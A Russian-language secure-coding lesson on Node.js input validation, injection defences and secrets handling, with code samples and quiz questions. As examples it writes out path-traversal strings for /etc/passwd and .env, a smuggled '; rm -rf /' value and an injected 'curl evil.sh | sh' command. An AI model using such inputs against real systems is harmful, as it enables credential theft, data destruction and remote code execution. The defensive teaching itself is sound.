Валидация ввода и работа с секретами
Любой внешний ввод враждебен, пока схема на границе не превратит его в типизированное значение. У каждого класса инъекций своя защита: параметризованные запросы, arg-массив вместо shell, проверка базовой папки для путей, ограничение длины против ReDoS. Секреты — в env, не в git.
Внутренний админский эндпоинт брал query-параметр ?file= и делал res.send(await readFile("./reports/" + req.query.file)). Его выкатили в пятницу. К понедельнику кто-то запросил ?file=../../../../etc/passwd и вышел прямо за пределы папки отчётов, потом ?file=../../.env и вытащил пароль к продовой базе — который закоммитили в репозиторий год назад, и он всё ещё был валиден. Сложились два отдельных греха: ввод пользователя, склеенный в путь файла, и секрет, навсегда живущий в истории git. Ни то ни другое не было экзотическим эксплойтом. И то и другое — отсутствие единственной границы, которая должна была отклонить, разрешить путь и отказать.
Валидируй на границе, parse don’t validate
Считай каждый байт, пересекающий край процесса — тело запроса, query-строку, route-параметры, заголовки, даже переменные окружения — враждебным, пока не доказано обратное. Сеньорская дисциплина — parse, don’t validate (разбирай, не валидируй): на входе прогоняй сырой ввод через схему (zod, ajv, Joi), которая утверждает тип, диапазон, длину и allowlist форм, и отдавай остальному коду типизированное значение, которому он может доверять. Если ввод не совпадает, отклони его с 400 — не «санитизируй» молча, вырезая символы, потому что санитизация тихо мутирует ввод атакующего в нечто, что может остаться опасным и теперь ещё и неверно.
import { z } from "zod";
const CreateUser = z.object({
email: z.string().email().max(254),
age: z.number().int().min(13).max(120),
role: z.enum(["member", "admin"]), // allowlist, а не свободная строка
});
app.post("/users", (req, res) => {
const parsed = CreateUser.safeParse(req.body);
if (!parsed.success) return res.status(400).json({ error: "invalid" });
createUser(parsed.data); // parsed.data полностью типизирован, ему можно доверять
});Сюда же относится ещё один контроль на границе: ограничь размер тела. Безграничное JSON-тело позволяет атакующему прислать сотни мегабайт и исчерпать память — тривиальный отказ в обслуживании. Поставь лимит (express.json({ limit: "100kb" })), чтобы парсер отклонял раздутые payload до того, как они дойдут до кучи.
Семейство инъекций: одна защита на каждый вид
Большая часть категории «Injection» из OWASP Top 10 сводится к одному правилу: никогда не давай недоверенным данным стать кодом. У каждого канала своя единственная верная защита, и они не взаимозаменяемы.
| Угроза | Вектор | Единственная защита |
|---|---|---|
| SQL-инъекция | ввод склеен в строку запроса | параметризованные запросы / prepared statements |
| Command injection | exec с интерполяцией в shell-строку | execFile/spawn + arg-массив, без shell |
| Path traversal | req.params.file склеен в путь | path.resolve + проверка под базовой папкой |
| ReDoS | катастрофический regex на вводе атакующего | линейные паттерны + ограничение длины |
Для SQL фикс — параметризованные запросы: драйвер шлёт текст запроса и значения по раздельным каналам, так что база никогда не парсит твои данные как синтаксис. Для shell-команд избегай shell полностью — child_process.execFile/spawn с массивом аргументов передаёт каждый аргумент как литерал, так что значение вроде ; rm -rf / — просто странное имя файла, а не вторая команда. Для путей разрешай до абсолютного пути и подтверждай, что он всё ещё внутри базовой папки. Для ReDoS regex с вложенными квантификаторами вроде /^(a+)+$/ может катастрофически бэктрекать на длинной подобранной строке и заблокировать единственный поток на секунды-минуты.
import { execFile } from "node:child_process";
import path from "node:path";
// ✅ SQL: значения идут отдельно от текста запроса
await db.query("SELECT * FROM users WHERE email = $1", [email]);
// ✅ команда: arg-массив, без shell — ввод не станет новой командой
execFile("convert", [userPath, "-resize", "100x100", outPath]);
// ✅ путь: разреши, потом докажи, что он внутри базовой папки
const base = path.resolve("./reports");
const full = path.resolve(base, req.params.file);
if (!full.startsWith(base + path.sep)) return res.sendStatus(400);▸Почему это работает
Почему spawn(..., { shell: true }) опасен, а форма с массивом безопасна? С shell: true (и всегда с exec) Node отдаёт твою строку в /bin/sh -c, который её перепарсивает — так что ;, |, $() и обратные кавычки снова становятся метасимволами shell, и file.txt; curl evil.sh | sh запускает две команды. Массив аргументов обходит shell: ядро делает execve бинарника напрямую, и каждый элемент массива становится одним нетронутым argv-элементом. Никакого перепарсивания, никаких метасимволов, никакой поверхности для инъекции.
Секреты: env внутрь, никогда в git
Секрет — это всё, что даёт доступ: пароли БД, API-ключи, ключи подписи, токены. Непреложные правила: никогда не хардкодь и никогда не коммить их. Читай конфигурацию из process.env; для локальной разработки грузи файл .env встроенным node --env-file=.env (доступно с Node 20.6) или пакетом dotenv — и добавь .env в .gitignore, чтобы он никогда не попал в репозиторий.
# локальная разработка: грузим env без зависимостей (Node 20.6+)
node --env-file=.env server.js// читай на старте; падай сразу, если обязательный секрет отсутствует
const dbUrl = process.env.DATABASE_URL;
if (!dbUrl) throw new Error("DATABASE_URL is not set");В проде вообще не вози .env — используй менеджер секретов (HashiCorp Vault, AWS Secrets Manager, Doppler), который вставляет значения в рантайме, так что секреты никогда не лежат в твоём образе или репозитории. Три привычки отделяют закалённый сервис: не логируй секреты (редакти токены до того, как они попадут в строку лога), ротируй при утечке (закоммиченный .env — это постоянная утечка: он живёт в истории git даже после удаления файла, так что надо ротировать сам секрет, а не просто git rm) и применяй наименьшие привилегии, чтобы утёкший токен мог сделать как можно меньше.
Сервис должен запустить внешний инструмент обработки картинок на имени файла, пришедшем из загрузки пользователя. Какой способ вызова безопасен?
Почему параметризованный запрос (db.query('... WHERE email = $1', [input])) останавливает SQL-инъекцию, а конкатенация строк нет?
Тебе нужно запустить CLI-инструмент на аргументе от пользователя. Почему execFile('tool', [userArg]) безопаснее, чем exec(`tool ${userArg}`)?
Расставь, как запрос входит в закалённый эндпоинт, от края внутрь:
- 1 Ограничь размер тела, чтобы раздутый payload отклонился до парсинга
- 2 Провалидируй разобранное тело схемой, отклонив невалидный ввод с 400
- 3 Используй уже типизированное значение в параметризованном запросе — никакой склеенной SQL-строки
- 4 Запускай любую внешнюю команду через execFile + массив аргументов, без shell
- 5 Действуй токеном наименьших привилегий из env, никогда не хардкоженным секретом
- 01Почему удалить закоммиченный файл .env недостаточно и что надо делать вместо этого?
- 02В чём разница между валидацией ввода и его санитизацией и почему этот урок предпочитает отклонять невалидное?
Вся безопасность ввода — это одна граница: считай каждый внешний байт — тело, query, params, заголовки, env — враждебным и на краю прогоняй через схему (zod / ajv / Joi), которая утверждает тип, диапазон, длину и allowlist, отклоняя невалидное с 400, а не санитизируя молча. Это превращает сырой ввод в типизированное доверенное значение один раз (parse, don’t validate), и ты ограничиваешь размер тела, чтобы раздутый payload не исчерпал память. Дальше у каждого класса инъекций своя единственная защита: SQL → параметризованные запросы, где значения идут отдельно от текста запроса, так что данные не парсятся как синтаксис; команда → execFile/spawn с массивом аргументов и без shell, чтобы ввод не стал второй командой (а shell: true снова открывает дыру); path traversal → path.resolve плюс проверка, что результат остаётся внутри разрешённой базовой папки; ReDoS → линейные паттерны и ограничение длины ввода, ведь regex с вложенными квантификаторами может заблокировать единственный поток на секунды. Секреты следуют своей дисциплине: читай из process.env, грузи локальный конфиг через node --env-file=.env (Node 20.6+) или dotenv, держа .env в .gitignore, используй менеджер секретов в проде, никогда не логируй секреты, применяй наименьшие привилегии и помни, что закоммиченный секрет — это постоянная утечка в истории git, которую надо ротировать, а не просто удалить. Теперь, когда встретишь ?file= параметр, склеиваемый в путь, или секрет в конфиге — ты знаешь, какой именно границы не хватает и в чём единственный фикс.
Практика
Начни сверху. Задачи идут от простого к сложному: вспомнить факт, применить к случаю, затем senior-уровень. Открой, попробуй, потом открой ответ.
Что-то непонятно?
Задай вопрос по этому уроку. Вопросы анонимны и попадают напрямую автору — урок станет лучше.